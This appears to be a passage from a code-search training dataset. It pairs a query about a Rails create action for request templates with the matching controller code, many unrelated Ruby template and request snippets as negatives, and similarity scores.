"def get_campaign_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CampaignsApi.get_campaign_templates ...\"\n end\n # resource path\n local_var_path = \"/campaigns/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CampaignsApi#get_campaign_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @requests = Request.all\n\n render json: @requests\n end",
"def index\n @message_templates = @company.message_templates\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @message_templates }\n end\n end",
"def index\n @templates = Spree::Template.all\n end",
"def supported_templates\n [\n double_opt_in_template,\n admin_forgot_password_template,\n user_forgot_password_template,\n kyc_issue_template,\n admin_invite_template,\n test_webhook_result_template,\n\n # kyc_data_mismatch_template,\n # kyc_document_id_issue_template,\n # kyc_selfie_image_issue_template,\n # kyc_residency_image_issue_template,\n\n kyc_approved_template,\n kyc_denied_template,\n purchase_confirmation,\n altdrop_sent,\n contact_us_template,\n low_whitelister_balance_template,\n manual_review_needed_template,\n billing_plan_notification_template,\n update_ethereum_request_outcome_template,\n open_case_request_outcome_template,\n contact_us_ost_partner_autoresponder_template,\n contact_us_ost_kyc_autoresponder_template,\n kyc_report_download_template,\n low_balance_whitelisting_suspended_template,\n contract_address_update_template\n ]\n end",
"def index\n @requests = ::Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.json { render :json => @requests}\n end\n end",
"def templates\n @instruments_templates ||= lambda do\n args = ['xctrace', 'list', 'templates']\n\n hash = xcrun.run_command_in_context(args, log_cmd: true)\n hash[:out].chomp.split(\"\\n\").map do |elm|\n stripped = elm.strip.tr('\"', '')\n if stripped == '' || stripped == 'Known Templates:'\n nil\n else\n stripped\n end\n end.compact\n end.call\n end",
"def index\n authorize! :manage, :all\n @question_templates = QuestionTemplate.all\n end",
"def index\n templates = cms_templates.scope_search(search).paginate(pagination_params)\n short = !content?\n respond_with(templates, short: short, representer: CMS::TemplatesRepresenter)\n end",
"def get_template_files(opts)\n path = \"/template/files/#{opts[:template_id]}\"\n if opts[:file_type]\n path = path + \"?file_type=#{opts[:file_type]}\"\n end\n if opts[:get_url]\n separator = opts[:file_type].nil? ? '?' : '&'\n path = path + \"#{separator}get_url=#{opts[:get_url]}\"\n end\n\n get(path)\n end",
"def index\n authorize @organization, :show_templates?\n @survey_templates = @organization.survey_templates\n end",
"def index\n @templates = Template.order(:name).page params[:page]\n end",
"def list_templates(filter=KalturaNotImplemented, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('uiconf', 'listTemplates', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def index\n @bulk_message_templates = BulkMessageTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bulk_message_templates }\n end\n end",
"def template(name)\n @conn.templates.get(name)\n end",
"def find_templates(name, prefix, partial, details)\n conditions = {\n path: normalize_path(name, prefix),\n locale: normalize_array(details[:locale]).first,\n format: normalize_array(details[:formats]).first,\n handler: normalize_array(details[:handlers]),\n partial: partial || false\n }\n\n ::Page.visible(user_sign_in_status).where(conditions).map do |record|\n initialize_template(record)\n end\n end",
"def templates_path\n @templates_path\n end",
"def get_poll_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaPollsApi.get_poll_templates ...\"\n end\n # resource path\n local_var_path = \"/media/polls/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaPollsApi#get_poll_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_activity_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.get_activity_templates ...\"\n end\n # resource path\n local_var_path = \"/activities/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#get_activity_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def templates\n GitWiki.template_cache ||= Dir[\"#{ settings.views[0] }/*.liquid\"].map do |f|\n name = File.basename(f, '.liquid')\n {\n \"name\" => name,\n \"examples\" => Page.get_template(name).examples\n }\n end\n end",
"def index\n @question_templates = QuestionTemplate.all\n end",
"def index\n @call_templates = CallTemplate.all\n end",
"def index\r\n template=params[:survey_template_id]\r\n @survey_template=SurveyTemplate.find(template)\r\n if current_user.is_admin?\r\n @survey_responses = SurveyResponse.where(:survey_template_id=>@survey_template.id)\r\n else\r\n @survey_responses = SurveyResponse.where(:survey_template_id=>@survey_template.id, :user_id => current_user.id)\r\n end\r\n\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @survey_responses }\r\n end\r\n end",
"def get_category_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.get_category_templates ...\"\n end\n # resource path\n local_var_path = \"/categories/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_category_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n #@mailtemplates = Mailtemplate.all\n respond_to do |format|\n format.html\n format.json do\n render json: ::MailtemplateDatatable.new(view_context)\n \n end\n end\n end",
"def index\n @requests = Request.paginate(:page => params[:page], :per_page => 8).order(\"created_at DESC\").find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def index\n @score_templates = ScoreTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @score_templates }\n end\n end",
"def index\n @invitation_templates = InvitationTemplate.all\n end",
"def application_templates()\n return MicrosoftGraph::ApplicationTemplates::ApplicationTemplatesRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def index\n @doc_templates = DocTemplate.all\n end",
"def index\n @admin_kpi_templates = Admin::KpiTemplate.paginate(:page=>params[:page],:per_page=>20)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_kpi_templates }\n end\n end",
"def get_content_template(id)\n @client.raw('get', \"/content/templates/#{id}\")\n end",
"def selecttemplate\n\t@templates = JobTemplate.all\n end",
"def sms_templates_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SMSApi.sms_templates_get ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page'].nil? && opts[:'page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page\"]\" when calling SMSApi.sms_templates_get, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling SMSApi.sms_templates_get, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/sms/templates'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SMSApi#sms_templates_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @requests = Request.authorize_requests_for current_user.id\n respond_to do |format|\n format.html { }\n format.json { render :json => @requests}\n format.xml { render :xml => @requests.to_xml}\n end\n end"
] |
[
"0.73878103",
"0.73573303",
"0.7257521",
"0.72427607",
"0.7185743",
"0.70785123",
"0.7077442",
"0.7074015",
"0.68151075",
"0.6721269",
"0.6553466",
"0.65324426",
"0.65099543",
"0.64859885",
"0.6430347",
"0.6420109",
"0.63800323",
"0.6360719",
"0.63318795",
"0.63074654",
"0.62615937",
"0.624523",
"0.622738",
"0.62193084",
"0.6166868",
"0.61643565",
"0.61434764",
"0.61359346",
"0.61354613",
"0.6121354",
"0.61173904",
"0.60884464",
"0.6084996",
"0.6021836",
"0.6004834",
"0.60026795",
"0.5991216",
"0.59843296",
"0.598371",
"0.59805155",
"0.5979704",
"0.59719557",
"0.5968874",
"0.59648913",
"0.59522855",
"0.5942166",
"0.59396493",
"0.5938516",
"0.5920764",
"0.5918479",
"0.58985585",
"0.5895165",
"0.58912313",
"0.5888746",
"0.5888746",
"0.5888746",
"0.58847255",
"0.5873608",
"0.58590484",
"0.58473885",
"0.5846131",
"0.5844467",
"0.5840845",
"0.5840845",
"0.5835166",
"0.5834276",
"0.58281225",
"0.58072376",
"0.5803721",
"0.5792257",
"0.57884216",
"0.57767797",
"0.57760936",
"0.575984",
"0.57591426",
"0.57414967",
"0.5731494",
"0.57263434",
"0.57212144",
"0.57038337",
"0.5694023",
"0.5684787",
"0.56811416",
"0.56752616",
"0.56710875",
"0.56657195",
"0.5665416",
"0.56634504",
"0.56590194",
"0.56515753",
"0.56419724",
"0.56207085",
"0.5614343",
"0.5610648",
"0.5608728",
"0.56033266",
"0.5599659",
"0.5597161",
"0.55970395",
"0.5592222"
] |
0.73790467
|
1
|
POST /request_templates POST /request_templates.json
|
def create
@request_template = RequestTemplate.new(request_template_params)
respond_to do |format|
if @request_template.save
respond format, 'Request template was successfully created.'
else
format.html { render :new }
format.json { render json: @request_template.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @request_templates = RequestTemplate.all\n end",
"def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end",
"def list\n @client.make_request :get, templates_path\n end",
"def show\n redirect_to edit_request_path(@request) if current_user.admin? && @request.pending?\n @request_templates = RequestTemplate.all\n end",
"def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"def generate_request_spec\n template 'request_spec.rb', File.join('spec/requests', \"#{name.underscore.pluralize}_spec.rb\")\n end",
"def set_request_template\n @request_template = RequestTemplate.find(params[:id])\n end",
"def list\n @client.call(method: :get, path: 'templates')\n end",
"def create(values)\n @client.call(method: :post, path: 'templates', body_values: values)\n end",
"def request_template_params\n params.require(:request_template).permit(:name, :cpu_cores, :ram_gb, :storage_gb, :operating_system)\n end",
"def template_params\n params.require(:template).permit(:name, elements: [:type, :ordinal])\n end",
"def template_params\n params.require(:template).permit(:name, :path, elements: [:key, :type, :content])\n end",
"def get_job_templates\n dprint \"get /api/v1/job_templates\"\n resp = @rest['/api/v1/job_templates'].get\n dprint resp\n # ruby's implicit return\n JSON.parse(resp)[\"results\"]\n end",
"def create_template_lists(options = {})\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/template/lists.json'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'type' => options['type'],\r\n 'page' => options['page'],\r\n 'pagesize' => options['pagesize'],\r\n 'Shortcode' => options['shortcode']\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n parameters: _parameters\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def get_templates(limit = 100, offset = 0)\n params = { :limit => limit, :offset => offset }\n\n request :get, \"/v3/templates.json\", params\n end",
"def gen_request_specs\n Dir.glob('spec/requests/*.rb').each do |filename|\n editor = RequestSpecEditor.new(filename)\n editor.add_directions\n end\n end",
"def template_params\n params.require(:template).permit(:name, :content)\n end",
"def count_of_associated_request_templates\n self.requests.template.count\n end",
"def templates(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Templates\", params: params)\n end",
"def template_params\n params.fetch(:template, {}).permit([:title, :data])\n end",
"def set_templates(name, templates)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n raise('wrong type: String required') unless templates.is_a?(String)\n raise('wrong value: templates must be valid') unless !templates.nil? && !templates.empty?\n\n @client.post({\n 'action' => 'settemplate',\n 'object' => 'htpl',\n 'values' => '%s;%s' % [name, templates],\n }.to_json)\n end",
"def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end",
"def list_workflow_templates request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_workflow_templates_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Dataproc::V1::ListWorkflowTemplatesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def get_templates(opts={})\n path = '/template/list'\n opts[:query] = create_search_string(opts[:query]) if opts[:query]\n query = create_query_string(opts, [:page, :page_size, :query])\n path += query\n HelloSign::Resource::ResourceArray.new get(path, opts), 'templates', HelloSign::Resource::Template\n end",
"def template_params\n params.require(:template).permit(:name, :description, :template_type, :accounting_plan, :accounting_plan_id)\n end",
"def template_params\n params.require(:template).permit(:content)\n end",
"def template_params\n params.require(:template).permit(:title, :desc, :creator, :templateVersion, :fields, :aprovable, :acknowledgeable, :defaultemail, :parent)\n end",
"def template_params\n params.require(:template).permit(:name)\n end",
"def list_templates(args = {})\n filter = args[:filter] || 'featured'\n params = {\n 'command' => 'listTemplates',\n 'templateFilter' => filter\n }\n params['projectid'] = args[:project_id] if args[:project_id]\n params['zoneid'] = args[:zone_id] if args[:zone_id]\n \n json = send_request(params)\n json['template'] || []\n end",
"def template_params\n params.require(:template).permit(:name, :action)\n end",
"def supported_templates\n [\n double_opt_in_template,\n admin_forgot_password_template,\n user_forgot_password_template,\n kyc_issue_template,\n admin_invite_template,\n test_webhook_result_template,\n\n # kyc_data_mismatch_template,\n # kyc_document_id_issue_template,\n # kyc_selfie_image_issue_template,\n # kyc_residency_image_issue_template,\n\n kyc_approved_template,\n kyc_denied_template,\n purchase_confirmation,\n altdrop_sent,\n contact_us_template,\n low_whitelister_balance_template,\n manual_review_needed_template,\n billing_plan_notification_template,\n update_ethereum_request_outcome_template,\n open_case_request_outcome_template,\n contact_us_ost_partner_autoresponder_template,\n contact_us_ost_kyc_autoresponder_template,\n kyc_report_download_template,\n low_balance_whitelisting_suspended_template,\n contract_address_update_template\n ]\n end",
"def template_params\n params.require(:template).permit(:name, :body, :active_flg)\n end",
"def details\n response = CreateSend.get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def template_params\n params.permit(\n :certificate_serial,\n :identity,\n { template_contents_attributes: [:id, :template_id, :locale, :title, :content] }\n )\n end",
"def template_params\n params.require(:template).permit(:identifier, :title, :help, :publisher, :variables, :payload, :memory, :count, :last_execute_at, :created_at, :updated_at, :method, :content,:uri, :cache, :checked, :headers, :delimiter, :host, :port, :database, :username, :password, :query, :selectors, :server, :to, :cc, :bcc, :subject, :message)\n end",
"def template_params\n params.require(:template).permit(:file, :description, :name, :html_content)\n end",
"def my_template_params\n params.require(:my_template).permit(:name, :desc)\n end",
"def template_params\n params.require(:template).permit(:subject, :body, :merchant_id, :created_by, :last_updated_by)\n end",
"def questionnaire_template_params\n params.require(:questionnaire_template).permit(:name, :qt_type_id, :instructions, :comments)\n end",
"def index\n @question_templates = QuestionTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_templates }\n end\n end",
"def templates; end",
"def select_and_fill_templates\n template = @user_input.select_template(@label_printer)\n label = fill_in_the_template(template[:text], LABEL_TEMPLATE_NAME)\n @labels << {TEMPLATE_KEY => template[:name]}.merge!(label)\n\n # ask if the user would like to add another label to the print\n select_and_fill_templates if @user_input.another_label?\n\n {:labels => @labels }\n end",
"def create\n @templates = @firm.templates\n @template = Template.new(template_params)\n @template.user = @user\n @template.firm = @firm\n if File.extname(@template.file.file.filename) == '.docx'\n content = ''\n if @template.valid_zip?\n doc = Docx::Document.open(@template.file.path)\n doc.paragraphs.each do |p|\n if p.node.xpath('w:r//w:lastRenderedPageBreak').present?\n content = content + %q(<div class=\"-page-break\"></div>) + p.to_html\n else\n content = content + p.to_html\n end\n\n end\n @template.html_content = content\n respond_to do |format|\n if @template.save\n format.html { redirect_to template_path(@template), notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n else\n @template.errors.add(:file, 'is corrupted')\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def etemplate_params\n params.require(:etemplate).permit(:template_id, :template_name)\n end",
"def create(data)\n result = @client.api_request(:method => \"template.create\", :params => [data])\n result.empty? ? nil : result['templateids'][0].to_i\n end",
"def get_driver_templates\n @client.raw('get', '/content/email-templates/driver/templates')\n end",
"def tbu_list\n @client.make_request :get, templates_path('tbu')\n end",
"def templates\n return self.class.get('/templates').parsed_response.map do |template|\n Template.new(template['template_id'], template['name'])\n end\n end",
"def call_template_params\n params.require(:call_template).permit(:name, :desc, :flocation, :mode)\n end",
"def list_templates(type)\n res = http_get(:uri=>\"/editor/#{type}/templates\", :fields=>x_cookie)\n end",
"def get_templates(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n r = @client.post({\n 'action' => 'gettemplate',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n\n templates = []\n JSON.parse(r)['result'].each do |data|\n host_template = ::Centreon::HostTemplate.new\n host_template.id = data['id'].to_i\n host_template.name = data['name']\n templates << host_template\n end\n\n templates\n end",
"def survey_template_params\n params.require(:survey_template).permit(:name, :status, :survey_type)\n end",
"def template_params\n params.require(:template).permit(:name, :template_type, :template_sub_type, \n { uploaded_file_attributes: [:assets, :id] }, { thumbnail_image_attributes: [:assets, :id] } )\n end",
"def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end",
"def index\n @templates = Template.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @templates }\n end\n end",
"def create\n @template = Template.new(template_params)\n @template.last_execute_at = nil\n @template.status = 100\n @template.count = 0\n respond_to do |format|\n if @template.save\n current_user.templates.push(@template)\n current_user.save\n #format.html { redirect_to @template, notice: 'Template was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @template }\n format.json { render json: @template, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def editor_templates (type, uuid)\n res = http_get(:uri=>\"/editor/#{type}/templates/#{uuid}\", :fields=>x_cookie)\n end",
"def service_template_params\n params.require(:service_template).permit(:name, :icon, :group_id, :user_id, :raw_config, :desc, :readme)\n end",
"def show\n respond_ok \"template\", @templates\n end",
"def update\n respond_to do |format|\n if @request_template.update(request_template_params)\n respond format, 'Request template was successfully updated.'\n else\n format.html { render :edit }\n format.json { render json: @request_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @treq = Treq.new(params[:treq])\n \n respond_to do |format|\n if @treq.save\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n TreqNotifier.submit_treq(@treq).deliver\n format.html { redirect_to @treq, notice: 'Treq was successfully created.' }\n format.json { render json: @treq, status: :created, location: @treq }\n else\n format.html { render action: \"new\", alert: \"Test Requset has been submitted.\"}\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def details\n response = get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def render(template_name, template_vars = {})\n template_file = File.join(File.dirname(__FILE__), 'fixtures', 'requests', \"#{template_name}.xml\")\n raise TrufinaException.new(\"Unable to find fixture file: #{template_file}\") unless File.exists?(template_file)\n \n template_binding_object = OpenStruct.new(template_vars)\n\n template = ERB.new(File.read(template_file))\n template.result(template_binding_object.get_binding)\nend",
"def create_workflow_template request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_workflow_template_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Dataproc::V1::WorkflowTemplate.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def template_params\n params.require(:template).permit(:title, :subject, :receiver, :content)\n end",
"def save_template(template_name, template_fields)\n data = template_fields\n data[:template] = template_name\n self.api_post(:template, data)\n end",
"def get_course_templates_schema\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/schema\"\n _get(path)\n # This action returns a JSON array of SchemaElement blocks.\nend",
"def question_template_params\n params.require(:question_template).permit(:prompt, :response_type, :response_required)\n end",
"def get_template(name)\n response = request('Action' => 'GetTemplate', 'StackName' => name)\n rid = response.xpath('//aws:GetTemplateResponse/aws:ResponseMetadata/aws:RequestId', NS).text\n template_body = response.xpath('//aws:GetTemplateResponse/aws:GetTemplateResult/aws:TemplateBody', NS).text\n return {:request_id => rid, :body => JSON.parse(template_body)}\n end",
"def index\n @node_templates = NodeTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @node_templates }\n end\n end",
"def create\n logger.debug(\"POST REQUEST CREATE\")\n @request = Request.new(params[:request])\n @request.type_id = params[:type_id]\n @request.user_id = current_user.id\n @request.status = -1\n respond_to do |format|\n if @request.save\n format.html { redirect_to bookings_path, notice: 'Request was successfully created.' }\n format.json { render json: @request, status: :created, location: @request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show_template_params\n params.require(:show_template).permit(:name, :dow, :showtime, :calltime, :group_id, skill_ids: [])\n end",
"def post_template_params\n params.require(:post_template).permit(:new_thing, :other_thing, :another_thing)\n end",
"def sets_template_params\n params.require(:sets_template).permit(:setNum, :weight, :reps, :exercise_template_id)\n end",
"def templates\n\n add_breadcrumb \"Download Template\"\n\n @message = \"Creating inventory template. This process might take a while.\"\n\n end",
"def form_template_params\n params.permit(:name, questions: [:text, :type_id])\n end",
"def create\n @question_template = QuestionTemplate.new(params[:question_template])\n params[:files].each_pair do |field_name, file|\n unless file.original_filename.empty?\n @question_template.send \"#{field_name}=\", file.original_filename\n end\n end\n\n respond_to do |format|\n if @question_template.save\n @question_template.upload_files(params[:files].values)\n\n format.html { redirect_to [:admin,@question_template], notice: 'Question template was successfully created.' }\n format.json { render json: @question_template, status: :created, location: @question_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def retrieve_all_template_info\n puts \"Retrieving all template ids and names for #{@primary_username} ...\"\n puts\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n templates = JSON.parse( response.body )\n\n # Create template_id array\n @template_array = Array.new\n\n # Create a template hash w/ name and id for each template found\n templates['templates'].each do |t|\n @template_array.push({:id => t['id'], :name => t['name']})\n end\n\n # Return constructed temmplate array\n return template_array\n end",
"def templates_for(file); end",
"def template_params\n params.require(:template).permit(:selected,:theme_color,:template_no,:name, :variant_display_type, :is_allowed_custom_theme)\n #params[:template]\n end",
"def template_files\n generator_job_templates_path = File.join(self.class.source_root, \"jobs/%job_name%_#{purpose}\")\n directory \"jobs/%job_name%_#{purpose}\", \"jobs/#{job_name}\"\n\n # build a hash of { 'bin/webapp_ctl.erb' => 'bin/webapp_ctl', ...} used in spec\n @template_files = {}\n FileUtils.chdir(File.join(generator_job_templates_path, \"templates\")) do\n `ls */*`.split(\"\\n\").each do |template_file|\n # clean up thor name convention\n template_file.gsub!(\"%job_name%\", job_name)\n template_file.gsub!(\".tt\", \"\")\n # strip erb from target file\n target_template_file = template_file.gsub(/.erb/, '')\n\n @template_files[template_file] = target_template_file\n end\n end\n end",
"def create_template( template_name )\n puts \"Creating new template #{template_name} at #{@secondary_username}...\"\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Post.new( uri.request_uri, initheader = {'Content-Type:' => 'application/json'} )\n request.basic_auth(@secondary_username, @secondary_password)\n\n payload = {:name => \"#{template_name}\"}.to_json\n request.body = payload\n\n response = http.request( request )\n new_template_info = JSON.parse( response.body )\n new_template_id = new_template_info['id']\n\n return new_template_id\n end",
"def create\n @exercise_template = ExerciseTemplate.new(exercise_template_params)\n\n if @exercise_template.save\n render json: @exercise_template, status: :created, location: @exercise_template\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end",
"def generate_from_templates\r\n %w{package.json _config.yml}.each do |file|\r\n template file\r\n end\r\n end",
